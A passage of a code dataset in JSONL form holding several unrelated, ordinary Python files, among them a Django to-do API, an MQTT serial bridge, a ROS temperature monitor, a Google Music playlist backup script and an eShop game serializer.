type(self.__dict__[x])==type([]):\n print(x)\n for y in self.__dict__[x]:\n print(y)\n else:\n print(x + \" : \" + str(self.__dict__[x]))\n print(\"------------------\")\n\n\n\n\ndef vector(a,b,problem,target,v=False):\n #this function take the trips and creates positive and negative training instances from them\n\n a = a[1]\n b = b[1]\n\n s = a.sent.lower().strip()+\" \"\n\n #build vector from two quantities:\n vec = []\n \n #local\n features = []\n srtd = sorted(a.__dict__.keys());\n for k in srtd:\n #print(k)\n if k in [\"contains\",\"sent\",\"ow\",\"orels\",'text','each','num','sidx','widx']:continue\n #if type(a.__dict__[k])!=type('aaa'):continue\n #if type(b.__dict__[k])!=type('aaa'):continue\n features.append(k)\n ak = [x for x in a.__dict__[k].strip().split(\" \") if x is not \"\" and x is not \"???\"]\n bk = [x for x in b.__dict__[k].strip().split(\" \") if x is not \"\" and x is not \"???\"]\n if len([x for x in ak if x in bk ])>0:\n dist = 0\n else:\n dist = 1\n for aw in ak:\n asyns = wn.synsets(aw)\n for asyn in asyns:\n for bw in bk:\n bsyns = wn.synsets(bw)\n for bsyn in bsyns:\n if asyn._pos == bsyn._pos: \n try:\n sim = 1/(1+bsyn.res_similarity(asyn,brown_ic))\n except:\n sim = 2\n if sim < dist:\n dist = sim\n vec.append(dist)\n\n\n \n #match location to entity\n a.loc = ' '.join([x for x in a.loc.split(\" \") if x!=\"???\"])\n b.loc = ' '.join([x for x in b.loc.split(\" \") if x!=\"???\"])\n\n a.ent = ' '.join([x for x in a.ent.split(\" \") if x!=\"???\"])\n b.ent = ' '.join([x for x in b.ent.split(\" \") if x!=\"???\"])\n\n a.container = ' '.join([x for x in a.container.split(\" \") if x!=\"???\"])\n b.container = ' '.join([x for x in b.container.split(\" \") if x!=\"???\"])\n features.append('a location b ent')\n if len(set(a.__dict__[\"loc\"].split(\" \")).intersection(set(b.__dict__[\"ent\"].split(\" \"))))>0:\n vec.append(1)\n else: vec.append(0)\n features.append('b location a ent')\n if len(set(b.__dict__[\"loc\"].split(\" \")).intersection(set(a.__dict__[\"ent\"].split(\" \"))))>0:\n vec.append(1)\n else: vec.append(0)\n\n features.append('a location b cont')\n if len(set(a.__dict__[\"loc\"].split(\" \")).intersection(set(b.__dict__[\"container\"].split(\" \"))))>0:\n vec.append(1)\n else: vec.append(0)\n features.append('b location a cont')\n if len(set(b.__dict__[\"loc\"].split(\" \")).intersection(set(a.__dict__[\"container\"].split(\" \"))))>0:\n vec.append(1)\n else: vec.append(0)\n\n features.append('a cont b ent')\n if len(set(a.__dict__[\"container\"].split(\" \")).intersection(set(b.__dict__[\"ent\"].split(\" \"))))>0:\n vec.append(1)\n else: vec.append(0)\n features.append('b cont a ent')\n if len(set(b.__dict__[\"container\"].split()).intersection(set(a.__dict__[\"ent\"].split())))>0:\n vec.append(1)\n else: vec.append(0)\n\n #Verb features\n '''\n for i in range(4):\n features.append('b verb + - * /')\n vdist = 1 \n if b.verb != \"\" and b.verb != \"???\":\n if b.verb in asverbs[i]:\n vdist = 0\n else:\n for asyn in asverbs[i]:\n try:\n sim = 1/(1+bsyn.res_similarity(asyn,brown_ic))\n except:\n sim = 1\n if sim < vdist:\n vdis = sim\n vec.append(vdist)\n '''\n \n\n\n\n features.append('a each')\n if a.each:\n vec.append(1)\n else:\n vec.append(0)\n features.append('b each')\n if b.each: vec.append(1)\n else: vec.append(0)\n\n '''\n features.extend([\"a.times\",'b.times','a or b .times'])\n if a.times: vec.append(1)\n else: vec.append(0)\n if b.times: vec.append(1)\n else: vec.append(0)\n if a.times or b.times: vec.append(1)\n else: vec.append(0)\n '''\n\n features.append('a target match')\n if a.ent==target: vec.append(1)\n else: vec.append(0)\n features.append('b target match')\n if b.ent==target: vec.append(1)\n else: vec.append(0)\n\n \n asent = a.__dict__['text'].lower().split()\n bsent = b.__dict__['text'].lower().split()\n features.extend([\"a times\",'b times',\"a total\",'b total',\"a together\",'b together',\"a more\", 'b more' ,\"a less\",'b less',\"a add\",'b add',\"a divide\",'b divide',\"a split\",'b split',\"a equal\",'b equal',\"a equally\",'b equally'])\n for li in [\"times\",\"total\",\"together\",\"more\",\"less\",\"add\",\"divide\",\"split\",\"equal\",\"equally\"]:\n if li in asent:\n vec.append(1)\n else:\n vec.append(0)\n if li in bsent: vec.append(1)\n else: vec.append(0)\n #global\n problem = problem.lower()\n features.append(\"in all\")\n if \"in all\" in problem: vec.append(1)\n else: vec.append(0)\n features.append(\"end with\")\n if \"end with\" in problem: vec.append(1)\n else: vec.append(0)\n problem = problem.split()\n features.extend([\"times\",\"total\",\"together\",\"more\",\"less\",\"add\",\"divide\",\"split\",\"left\",\"equal\",\"equally\",\"now\",'left','start'])\n for li in [\"times\",\"total\",\"together\",\"more\",\"less\",\"add\",\"divide\",\"split\",\"left\",\"equal\",\"equally\",\"now\",'left','start']:\n if li in problem:\n vec.append(1)\n else:\n vec.append(0)\n\n if v:\n return (vec,features)\n else: return vec\n\n\n\nif __name__==\"__main__\":\n\n a = entity(num='',ent='',sidx='',widx='',container='',lemma='',deps=None,s=None)\n b = entity(num='',ent='',sidx='',widx='',container='',lemma='',deps=None,s=None)\n vec, features = vector((0,a),(0,b),'','',v=True)\n f = open(sys.argv[1]).readlines()\n f = f[6:]\n for i,feat in enumerate(f):\n print(features[i],f[i])\n","sub_path":"entity.py","file_name":"entity.py","file_ext":"py","file_size_in_byte":8601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"168671203","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\n\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status\nfrom rest_framework.serializers import Serializer\nfrom .serializers import TodolistSerializer\nfrom .models import Todolist\n\n# Get Data\n@api_view(['GET'])\ndef all_todolist(request):\n alltodolist = Todolist.objects.all()\n serializer = TodolistSerializer(alltodolist, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n#Post data\n@api_view(['POST'])\ndef post_todolist(request):\n if request.method == 'POST':\n serializer = TodolistSerializer(data=request.data)\n if serializer.is_valid() :\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_404_NOT_FOUND)\n\n#Edit data\n@api_view(['PUT'])\ndef update_todolist(request, TID):\n if request.method == 'PUT':\n todo = Todolist.objects.get(id=TID)\n data = {}\n serializer = TodolistSerializer(todo,data=request.data)\n if serializer.is_valid() :\n serializer.save()\n data['status'] = 'updated'\n return Response(data=data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_404_NOT_FOUND)\n\n#Delete data\n@api_view(['DELETE'])\ndef delete_todolist(request, TID):\n if request.method == 'DELETE':\n todo = Todolist.objects.get(id=TID)\n data = {}\n delete = todo.delete()\n if delete:\n data['status'] = 'deleted'\n statuscode = status.HTTP_200_OK\n else:\n data['status'] = 'failed'\n statuscode = status.HTTP_400_BAD_REQUEST\n return Response(data=data, status=statuscode)\n\n\n\n\ndata = [\n {\n \"title\": \"วัคซีนโควิดคืออะไร? 1234\",\n \"subtitle\": \"วัคซีนโควิด คือ วัคซีนที่ใช้สำหรับการป้องกันไวรัสโควิด 19\",\n \"imageurl\": \"https://raw.githubusercontent.com/zent-bank/FlutterAPI/main/assets/images/vaccine-5926664_960_720.jpg\",\n \"detail\" : \"วัคซีนป้องกันโรคติดเชื้อไวรัสโคโรนา 2019 (COVID-19) ซึ่งในขณะนี้มีด้วยกัน 4 ชนิดหลักๆ แบ่งตามเทคนิคที่ใช้ในการผลิตวัคซีน คือ\\n\\rmRNA vaccines เป็นการผลิตโดยใช้สารพันธุกรรมของเชื้อไวรัสซาร์ส-โควี-2 (SARS-CoV-2) เมื่อฉีดเข้าไปในร่างกาย จะทำให้ร่างกายสร้างโปรตีนที่สามารถกระตุ้นการสร้างภูมิคุ้มกันต่อเชื้อไวรัสขึ้นมา\\n\\rViral vector vaccines เป็นการฝากสารพันธุกรรมของเชื้อไวรัสซาร์ส-โควี-2 (SARS-CoV-2) เข้าไปในสารพันธุกรรมของไวรัสชนิดอื่นที่อยู่ในสภาพที่ไม่ก่อให้เกิดโรค เพื่อพาเข้ามาในร่างกาย ทำให้ร่างกายสร้างภูมิคุ้มกันต่อเชื้อไวรัสขึ้นมา\\n\\rProtein-based vaccines จะใช้โปรตีนบางส่วนของเชื้อไวรัสซาร์ส-โควี-2 (SARS-CoV-2) เช่น โปรตีนส่วนหนาม (spike protein) ฉีดเข้าไปในร่างกายเพื่อกระตุ้นให้ร่างกายสร้างภูมิคุ้มกันต่อเชื้อไวรัส\\n\\rInactivated vaccines ผลิตโดยการใช้ไวรัสซาร์ส-โควี-2 (SARS-CoV-2) ที่ถูกทำให้ตายแล้ว เมื่อฉีดเข้าไปในร่างกาย จะกระตุ้นให้ร่างกายสร้างภูมิคุ้มกันต่อเชื้อไวรัส\"\n },\n {\n \"title\": \"ควรฉีดวัคซีนหรือไม่?\",\n \"subtitle\": \"ควรฉีด เนื่องจากจะป้องกันการป่วยหนักได้\",\n \"imageurl\": \"https://raw.githubusercontent.com/zent-bank/FlutterAPI/main/assets/images/keys-5170080_960_720.jpg\",\n \"detail\" : \"การฉีดวัคซีนป้องกันโรคโควิด-19 สามารถลดความรุนแรงของอาการป่วยและลดการเสียชีวิตได้ เนื่องจากสถานการณ์การระบาดของโรคโควิด-19 ถือเป็นภาวะฉุกเฉินของโลก จำนวนผู้ติดเชื้อไวรัสโคโรนา 2019 (COVID-19) ทั่วโลกกว่าร้อยล้านคน มีผู้เสียชีวิตมากกว่าสองล้านคน โดยในปัจจุบันมีการฉีดวัคซีนรวมทั่วโลกแล้วกว่า 100 ล้านโดส สำหรับประเทศที่มีการฉีดวัคซีนป้องกัน COVID-19 มากที่สุด คือ สหรัฐอเมริกา รองลงมาคือ ประเทศจีน และอังกฤษตามลำดับ (ข้อมูลวันที่ 9 ก.พ. 2564)\"\n },\n {\n \"title\": \"ฉีดวัคซีนที่ไหน?\",\n \"subtitle\": \"สามารถฉีดได้จากสถานที่ ที่รัฐฯ เปิดให้ฉีดได้เลย\",\n \"imageurl\": \"https://raw.githubusercontent.com/zent-bank/FlutterAPI/main/assets/images/medic-563425_960_720.jpg\",\n \"detail\" : \"1.พื้นที่กรุงเทพฯ ให้ใช้ระบบของกรุงเทพมหานคร หรือระบบอื่นที่เปิดบริการ เช่น \\n\\r27 พฤษภาคม 2564 ตั้งแต่ 12.00 น. เปิดลงทะเบียนวัคซีนโควิดฟรีโครงการไทยร่วมใจ \\\"กรุงเทพฯ ปลอดภัย\\\" ให้ผู้ที่อาศัยอยู่ในกรุงเทพฯ อายุตั้งแต่ 18-59 ปี ที่ไม่ได้เป็น 7 กลุ่มโรคเสี่ยงผ่านเว็บไซต์ www.ไทยร่วมใจ.com\\n\\r2.ต่างจังหวัด ทั้ง 76 จังหวัด ดำเนินการผ่านช่องทางต่อไปนี้ \\n\\rอาสาสมัครสาธารณสุขประจำหมู่บ้าน (อสม.) / โรงพยาบาลส่งเสริมสุขภาพตำบล (รพ.สต.)/ โรงพยาบาลรัฐใกล้บ้าน (ไม่จำเป็นต้องมีประวัติ)\\n\\rระบบออนไลน์ (แอปพลิเคชัน/ เว็บไซต์ หรือแพลตฟอร์มอื่นๆ) ของแต่ละจังหวัด\\n\\rหมอพร้อม LINE OA/ แอปผลิเคชันหมอพร้อม เมื่อเปิดให้บริการอีกครั้ง สามารถกดได้ที่ลิ้งก์ line://ti/p/@475ptmfj หรือแอดไลน์ \\\"หมอพร้อม\\\\” ทั้งนี้ระบบหมอพร้อมยังใช้งานได้ตามปกติสำ���รับประชาชนทุกกลุ่ม ในการแสดงข้อมูลหลังการฉีดวัคซีน แจ้งนัดหมายในการฉีดเข็มที่ 2 และการเป็นหลักฐานประกอบการขอใบรับรองการฉีดวัคซีนโควิด\\n\\rสอบถามเพิ่มเติม Call Center : 02 792 2333\"\n },\n {\n \"title\": \"ประวัติการฉีดวัคซีน\",\n \"subtitle\": \"ฉีดวัคซีนกี่ครั้งแล้ว\",\n \"imageurl\": \"https://raw.githubusercontent.com/zent-bank/FlutterAPI/main/assets/images/covid-19-6553695_960_720.jpg\",\n \"detail\" : \"ฉีดแล้วจ้าาาา ครั้งเดียว!!!\"\n }\n]\n\ndef Home(request):\n return JsonResponse(data=data, safe=False, json_dumps_params={'ensure_ascii':False})","sub_path":"flutterapi/myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"463705182","text":"import paho\nimport serial.tools.list_ports\nimport random\nimport time\nimport sys\nimport paho.mqtt.client as mqtt\nfrom Adafruit_IO import MQTTClient\n\n#\n# AIO_FEED_ID = \"\"\n# AIO_USERNAME = \"\"\n# AIO_KEY = \"\"\n#\n# def connected(client):\n#\n# client.subscribe(AIO_FEED_ID)\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Ket noi thanh cong...\")\n print(\"Connected with result code \"+str(rc))\n client.subscribe(\"TEMP\")\n\ndef message(client, userdata, msg):\n print(\"Nhan du lieu: \" + str(msg))\n ser.write((str(msg) + \"#\").encode())\n\ndef subscribe(client, userdata, flags, rc):\n print(\"Subcribe thanh cong...\")\n\ndef disconnect(client):\n print(\"Ngat ket noi...\")\n sys.exit (1)\n\nclient = mqtt.Client(\"P1\")\nclient.connect(\"mqtt.eclipseprojects.io\", 1883, 60)\nclient.on_connect = on_connect\nclient.on_disconnect = disconnect\nclient.on_message = message\nclient.on_subscribe = subscribe\n\n\nclient.loop_start()\n\n\n\nclient.loop_stop()\n#\n# def subscribe(client , userdata , mid , granted_qos):\n# print(\"Subcribe thanh cong...\")\n#\n# def disconnected(client):\n# print(\"Ngat ket noi...\")\n# sys.exit (1)\n#\n# def message(client , feed_id , payload):\n# print(\"Nhan du lieu: \" + payload)\n# ser.write((str(payload) + \"#\").encode())\n#\n# client = MQTTClient(AIO_USERNAME , AIO_KEY)\n# client.on_connect = connected\n# client.on_disconnect = disconnected\n# client.on_message = message\n# client.on_subscribe = subscribe\n# client.connect()\n# client.loop_background()\n\ndef getPort():\n ports = serial.tools.list_ports.comports()\n N = len(ports)\n commPort = \"COM2\"\n for i in range(0, N):\n port = ports[i]\n strPort = str(port)\n if \"USB Serial Device\" in strPort:\n splitPort = strPort.split(\" \")\n commPort = (splitPort[0])\n return commPort\n\nser = serial.Serial( port=getPort(), baudrate=115200)\n\nmess = \"\"\ndef processData(data):\n data = data.replace(\"!\", \"\")\n data = data.replace(\"#\", \"\")\n splitData = data.split(\":\")\n print(splitData)\n if splitData[1] == \"TEMP\":\n client.publish(\"TEMP \", splitData[2])\n\nmess = \"\"\ndef readSerial():\n bytesToRead = ser.inWaiting()\n if (bytesToRead > 0):\n global mess\n mess = mess + ser.read(bytesToRead).decode(\"UTF-8\")\n while (\"#\" in mess) and (\"!\" in mess):\n start = mess.find(\"!\")\n end = mess.find(\"#\")\n processData(mess[start:end + 1])\n if (end == len(mess)):\n mess = \"\"\n else:\n mess = mess[end+1:]\n\nwhile True:\n readSerial()\n time.sleep(1)","sub_path":"IOT lab/python_iot/paho/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"111057445","text":"\"\"\" Averages columns in .dat files. Assumes only four columns in file \"\"\"\n\nfile = open('not_drawnow_times.dat')\nvalues = []\nfor line in file:\n values += line.split()\ncols = []\nfor value in values:\n cols += value.split(',')\ni = 0\naverage1 = []\naverage2 = []\naverage3 = []\naverage4 = []\nwhile i < len(cols):\n average1.append(float(cols[i]))\n i += 1\n average2.append(float(cols[i]))\n i += 1\n average3.append(float(cols[i]))\n i += 1\n average4.append(float(cols[i]))\n i += 1\naverages = []\naverages.append(sum(average1) / len(average1))\naverages.append(sum(average2) / len(average2))\naverages.append(sum(average3) / len(average3))\naverages.append(sum(average4) / len(average4))\n\nprint(averages)\n\n","sub_path":"operation/Displacement/average_dat.py","file_name":"average_dat.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"357680247","text":"\n\ntwo = 'two'\nfour = 'four'\nseq='1234567890'\nuniq = list(set([c for c in two + four]))\nconv = {k:v for k,v in zip(uniq, seq)}\n\n\ndef test_win(two, four, conv):\n two_n = ''\n four_n = ''\n for c in two:\n two_n += conv[c]\n for c in four:\n four_n += conv[c]\n if int(two_n) + int(two_n) == int(four_n):\n return True\n else:\n return False\n\n\ndef rec_search(two, four, conv, layer=0):\n \n if layer == len(uniq) or len(set(conv.values())) != len(uniq):\n return False\n if test_win(two, four, conv):\n return conv\n for n in seq:\n new_conv = conv.copy()\n new_conv[uniq[layer]] = n\n attempt = rec_search(two, four, new_conv, layer+1)\n if attempt:\n return attempt\n \n\nresult_conv = rec_search(two, four, conv)\n\n\n\n\n \n","sub_path":"two_four_puzzle.py","file_name":"two_four_puzzle.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"572098654","text":"#!/usr/bin/env python\n\nfrom diagnostic_msgs.msg import DiagnosticArray, DiagnosticStatus, KeyValue\nimport rospy\nimport rostopic\nimport socket\nimport subprocess\nfrom sensor_msgs.msg import Temperature\n\nclass Monitor:\n def __init__(self, vehicle_name, **kwargs):\n self.vehicle_name = vehicle_name\n \n # Initialize node\n rospy.init_node(\"internal_temp_monitor_%s\" % vehicle_name, anonymous=True)\n\n # Create system status publisher\n self.status_pub = rospy.Publisher('/diagnostics', DiagnosticArray, queue_size=10)\n\n # Get parameters\n self.temp_level_warn = rospy.get_param('~temp_level_warn')\n self.temp_level_error = rospy.get_param('~temp_level_error')\n self.topic = rospy.get_param('~temp_level_topic', default='/temperature')\n\n # Create subscriber for temperature\n rospy.Subscriber(self.topic, Temperature, callback=self.temp_callback)\n\n # Temperature and diagnostics message\n self.temperature = Temperature()\n\n # Rate\n self.rate = rospy.Rate(1)\n\n # Time for last received message\n self.last_update = 0\n\n def temp_callback(self, msg):\n self.temperature = msg\n self.last_update = rospy.Time().now().to_sec()\n\n def run(self):\n # Run while ROS is active\n while not rospy.is_shutdown():\n # Diagnostics message\n temp_diag = DiagnosticArray()\n temp_diag.header.stamp = rospy.Time().now()\n temp_diag.status.append(DiagnosticStatus())\n temp_diag.status[0].name = 'Internal Temperature'\n temp_diag.status[0].hardware_id = self.vehicle_name\n\n # Compare internal temperature with threshold levels\n temp_diag.status[0].level = DiagnosticStatus.OK\n temp_diag.status[0].message = 'OK'\n temp_diag.status[0].values.insert(0, KeyValue(key='Update Status', value='OK'))\n if self.temperature.temperature >= self.temp_level_warn:\n temp_diag.status[0].level = DiagnosticStatus.WARN\n temp_diag.status[0].message = 'Warning'\n temp_diag.status[0].values.insert(0, KeyValue(key = 'Update Status', value = 'Warning'))\n elif self.temperature.temperature >= self.temp_level_error:\n temp_diag.status[0].level = DiagnosticStatus.ERROR\n temp_diag.status[0].message = 'Error'\n temp_diag.status[0].values.insert(0, KeyValue(key = 'Update Status', value = 'Error'))\n temp_diag.status[0].values.insert(1, KeyValue(key='Temperature', value=str(self.temperature.temperature)))\n \n # Check if message is stale (older than 35 seconds)\n elapsed = rospy.Time().now().to_sec() - self.last_update\n if elapsed > 35:\n temp_diag.status[0].level = DiagnosticStatus.STALE\n temp_diag.status[0].message = 'Stale'\n temp_diag.status[0].values.insert(0, KeyValue(key = 'Update Status', value = 'Stale'))\n temp_diag.status[0].values.insert(1, KeyValue(key = 'Time Since Update', value = str(elapsed)))\n\n # Publish diagnostics message\n self.status_pub.publish(temp_diag)\n\n # Sleep for some time\n self.rate.sleep()\n \nif __name__ == '__main__':\n temp_monitor = Monitor(socket.gethostname())\n temp_monitor.run()","sub_path":"bin/internal_temp_monitor.py","file_name":"internal_temp_monitor.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"157848932","text":"from datetime import datetime\n\nfrom django.contrib.auth import get_user_model\n\nfrom rest_framework import serializers\n\nfrom ..models import SwitchGameEU, SwitchGame\n\n\nclass SwitchGameEUSerializer(serializers.Serializer):\n title = serializers.CharField(max_length=256)\n url = serializers.CharField(max_length=256)\n date_from = serializers.CharField(max_length=20)\n excerpt = serializers.CharField(max_length=9999, allow_blank=True)\n\n nsuid_txt = serializers.ListField(required=False)\n product_code_txt = serializers.ListField()\n fs_id = serializers.CharField(max_length=8)\n\n gift_finder_carousel_image_url_s = serializers.CharField(max_length=256)\n gift_finder_detail_page_image_url_s = serializers.CharField(max_length=256)\n gift_finder_wishlist_image_url_s = serializers.CharField(max_length=256)\n\n image_url = serializers.CharField(max_length=256)\n image_url_sq_s = serializers.CharField(max_length=256)\n image_url_h2x1_s = serializers.CharField(max_length=256)\n\n def create(self, validated_data):\n switch_game_eu = self.validated_data_to_new(validated_data)\n\n try:\n switch_game_eu.save()\n except Exception as e:\n print('Error while saving eu game {} ({})'.format(switch_game_eu, e))\n return switch_game_eu\n\n # If Game already in DB, update it with EU Game\n if SwitchGame.objects.filter(\n game_code_unique=validated_data.get('product_code_txt')[0].strip()[4:9]\n ).exists():\n switch_game = SwitchGame.objects.get(\n game_code_unique=validated_data.get('product_code_txt')[0].strip()[4:9])\n switch_game.game_eu = switch_game_eu\n\n # If Game not yet in DB, add one and assign EU Game to it\n else:\n switch_game = SwitchGame(\n game_eu=switch_game_eu,\n game_code_unique=validated_data.get('product_code_txt')[0].strip()[4:9]\n )\n\n try:\n switch_game.save()\n except Exception as e:\n print('Error while saving game {} ({})'.format(switch_game, e))\n\n return switch_game_eu\n\n def update(self, instance, validated_data):\n release_datetime = datetime.strptime(\n validated_data.get('date_from')[:10], '%Y-%M-%d')\n nsuid = (\n validated_data.get('nsuid_txt')[0]\n if validated_data.get('nsuid_txt') is not None\n else None\n )\n\n instance.title = validated_data.get('title', instance.title)\n instance.url = validated_data.get('url', instance.url)\n instance.release_date = release_datetime\n instance.description = validated_data.get(\n 'excerpt', instance.description),\n\n instance.nsuid = nsuid\n instance.game_code = validated_data.get(\n 'product_code_txt', instance.game_code)\n instance.fs_id = validated_data.get('fs_id', instance.fs_id)\n\n instance.image_carousel_url = validated_data.get(\n 'gift_finder_carousel_image_url_s',\n instance.image_carousel_url\n )\n instance.image_detail_page_url = validated_data.get(\n 'gift_finder_detail_page_image_url_s',\n instance.image_detail_page_url\n )\n instance.image_wishlist_url = validated_data.get(\n 'gift_finder_wishlist_image_url_s',\n instance.image_wishlist_url\n )\n\n instance.image_url = validated_data.get(\n 'image_url', instance.image_url)\n instance.image_sq_url = validated_data.get(\n 'image_url_sq_s', instance.image_sq_url)\n\n instance.save()\n return instance\n\n def validated_data_to_new(self, validated_data):\n release_datetime = datetime.strptime(\n validated_data.get('date_from')[:10], '%Y-%m-%d')\n\n nsuid = (\n validated_data.get('nsuid_txt')[0]\n if validated_data.get('nsuid_txt') is not None\n else None\n )\n\n switch_game_eu = SwitchGameEU(\n title=validated_data.get('title'),\n url=validated_data.get('url'),\n release_date=release_datetime,\n description=validated_data.get('excerpt'),\n\n nsuid=nsuid,\n fs_id=validated_data.get('fs_id'),\n\n game_code_system=validated_data.get('product_code_txt')[0][0:3],\n game_code_region=validated_data.get('product_code_txt')[0][3:4],\n game_code_unique=validated_data.get('product_code_txt')[0].strip()[4:9],\n\n image_carousel_url=validated_data.get(\n 'gift_finder_carousel_image_url_s'),\n image_detail_page_url=validated_data.get(\n 'gift_finder_detail_page_image_url_s'),\n image_wishlist_url=validated_data.get(\n 'gift_finder_wishlist_image_url_s'),\n\n image_url=validated_data.get('image_url'),\n image_sq_url=validated_data.get('image_url_sq_s'),\n image_sq_h2_url=validated_data.get('image_url_h2x1_s'),\n )\n\n return switch_game_eu\n","sub_path":"eshop-index-back/games/serializers/switch_game_eu.py","file_name":"switch_game_eu.py","file_ext":"py","file_size_in_byte":5064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"110393387","text":"import configparser\nimport os\n\nimport sys\nfrom gmusicapi import Mobileclient\n\nimport Playlist\nimport pymail\n\n\ndef dump_file(file, playlist_list):\n print('Dumping file')\n with open(file, 'w') as fwrite:\n for playlist in playlist_list:\n for track in playlist.track_list:\n fwrite.write(\n '{0}{5}{1}{5}{2}{5}{3}{5}{4}'.format(playlist.name, track.album, track.artist, track.title, '\\n',\n Playlist.SEPARATOR))\n\n\ndef send_report_by_email(compare_report, email_address):\n print('Sending email')\n body = 'No track lost :)'\n nb_loss = len(compare_report)\n if nb_loss != 0:\n body = '\\n'.join(compare_report)\n\n pymail.send_mail(body, '[GMPW]{} track(s) lost'.format(nb_loss), False, email_address)\n\n\ndef get_playlist_from_api(api):\n print('Connection OK. Retrieving playlist from google music')\n user_playlist = api.get_all_user_playlist_contents()\n print('{} playlist(s) found'.format(len(user_playlist)))\n playlist_list = []\n for playlist_with_content in user_playlist:\n cur_playlist = Playlist.Playlist(playlist_with_content['name'])\n cur_playlist.id = playlist_with_content['id']\n tracks_list = playlist_with_content['tracks']\n for track in tracks_list:\n if 'track' in track:\n real_track = track['track']\n cur_playlist.add_track(real_track['album'], real_track['artist'], real_track['title'])\n playlist_list.append(cur_playlist)\n print('Playlists retrieved')\n return playlist_list\n\n\ndef get_playlist_list_from_file(persisted_file):\n playlist_list = []\n cur_name = ''\n if os.path.exists(persisted_file):\n print('Get playlist from {0}'.format(persisted_file))\n splitted_lines = [x.strip().split(Playlist.SEPARATOR) for x in open(persisted_file, 'r')]\n for splitted_line in splitted_lines:\n if cur_name != splitted_line[0]:\n cur_name = splitted_line[0]\n cur_playlist = Playlist.Playlist(cur_name)\n playlist_list.append(cur_playlist)\n cur_playlist.add_track(splitted_line[1], splitted_line[2], splitted_line[3])\n else:\n print(\"File {0} doesn't exist\".format(persisted_file))\n\n return playlist_list\n\n\ndef compare_playlist(playlist_list_from_api, playlist_list_from_file):\n print('Looking for missing element from api compared to file')\n report = []\n for playlist_api in playlist_list_from_api:\n print(f\"Processing [{playlist_api.name}] playlist..\")\n for playlist_file in playlist_list_from_file:\n if playlist_api.name == playlist_file.name:\n if set(playlist_api.track_list) != set(playlist_file.track_list):\n for track in playlist_file.track_list:\n if not playlist_api.has_track(track):\n process_discrepancy(playlist_api, report, track)\n\n if len(report) == 0:\n print('No track lost or enough retrieved')\n return report\n\n\ndef process_discrepancy(playlist_api, report, track):\n message = \"Playlist [{}]: missing\\n{}\".format(playlist_api.name, str.center(str(track), 130, \" \"))\n print(message)\n result = api.search(\"{} {}\".format(track.title, track.artist))\n try:\n replacement_track = result['song_hits'][0]['track']\n except:\n replacement_track = None\n if replacement_track is None:\n report.append(message)\n else:\n artist = replacement_track[\"artist\"]\n title = replacement_track[\"title\"]\n answer = input(\"Wanna replace this missing song by:\\n{}\\nfound ?(Y/n)\".format(\n str.center(f\"{artist}-{title}\", 130, \" \"))).lower()\n if answer != 'n':\n api.add_songs_to_playlist(playlist_api.id, replacement_track[\"storeId\"])\n\n\nconfig = configparser.ConfigParser()\nif len(sys.argv) == 2:\n config_file = str(sys.argv[1]).replace('~', os.path.expanduser('~'))\nelse:\n config_file = os.path.join(os.path.expanduser(\"~\"), 'Music/GmusicPlaylistScrapperConfig.ini')\n\nprint('Loading configuration from {0}'.format(config_file))\nconfig.read(config_file)\n\ngoogle_credential = 'GmailAccountInfo'\nif google_credential not in config:\n raise ValueError(f\"Config file {config_file} doesn't contains {google_credential} tag\")\n\napi = Mobileclient()\n\nemail_address = config[google_credential]['gmailEmail']\nemail_pass = config[google_credential]['gmailAppPassword']\nprint('Connecting to gmusic api with {0}'.format(email_address))\nlogged_in = api.login(email_address, email_pass, Mobileclient.FROM_MAC_ADDRESS)\n\nif not logged_in:\n raise ConnectionError('Unable to connect to address {0}'.format(email_address))\n\npymail.initialize(email_address, email_pass)\n\nplaylist_list_from_api = get_playlist_from_api(api)\n\npersisted_file = os.path.normpath(os.path.expanduser(config['Persistence']['dumpFile']))\nplaylist_list_from_file = get_playlist_list_from_file(persisted_file)\n\ncompare_report = compare_playlist(playlist_list_from_api, playlist_list_from_file)\n\nsend_report_by_email(compare_report, [email_address])\n\ndump_file(persisted_file, playlist_list_from_api)\n","sub_path":"ScraperRunner.py","file_name":"ScraperRunner.py","file_ext":"py","file_size_in_byte":5193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"406181144","text":"#!/usr/bin/python\n\nimport cgi\nimport cgitb\nimport nisutils as UTIL\nimport inboxutils as IUTIL\nimport nisdbutils as NDBUTIL\nimport webwidgets as WW\nimport niswidgets as NW\nimport widgetdb as WDB\nimport widnamesdb as WN\nimport dbinterface as DBINT\nimport sessioninfo as SESSINFO\ncgitb.enable();\n\n_gWns = WN.getWNEditProfilesPersonel();\n_gDataGroup = None\n\n#============================================================\nclass EditFullPersonalInfo(WW.InputFrame):\n def __init__(self):\n redirectURL = None\n if SESSINFO.getSessionInfo().getStatus() < 100:\n redirectURL = UTIL.getURL('inbox')\n WW.InputFrame.__init__(self,WN.getWidgetIdEditProfile(),\n UTIL.getURL('editpersonal'),\n redirectURL)\n global _gDataGroup\n _gDataGroup = self._readData()\n \n self.add(HeaderTag('RELEGIOUS_INFO'))\n self.add(EditReligiousInfo())\n \n self.add(HeaderTag('PERMENANT_ADDRESS'))\n self.add(EditAddressInfo(0))\n \n self.add(HeaderTag('PRESENT_ADDRESS'))\n self.add(EditAddressInfo(1))\n\n self.add(HeaderTag('PERSONAL_INFO'))\n 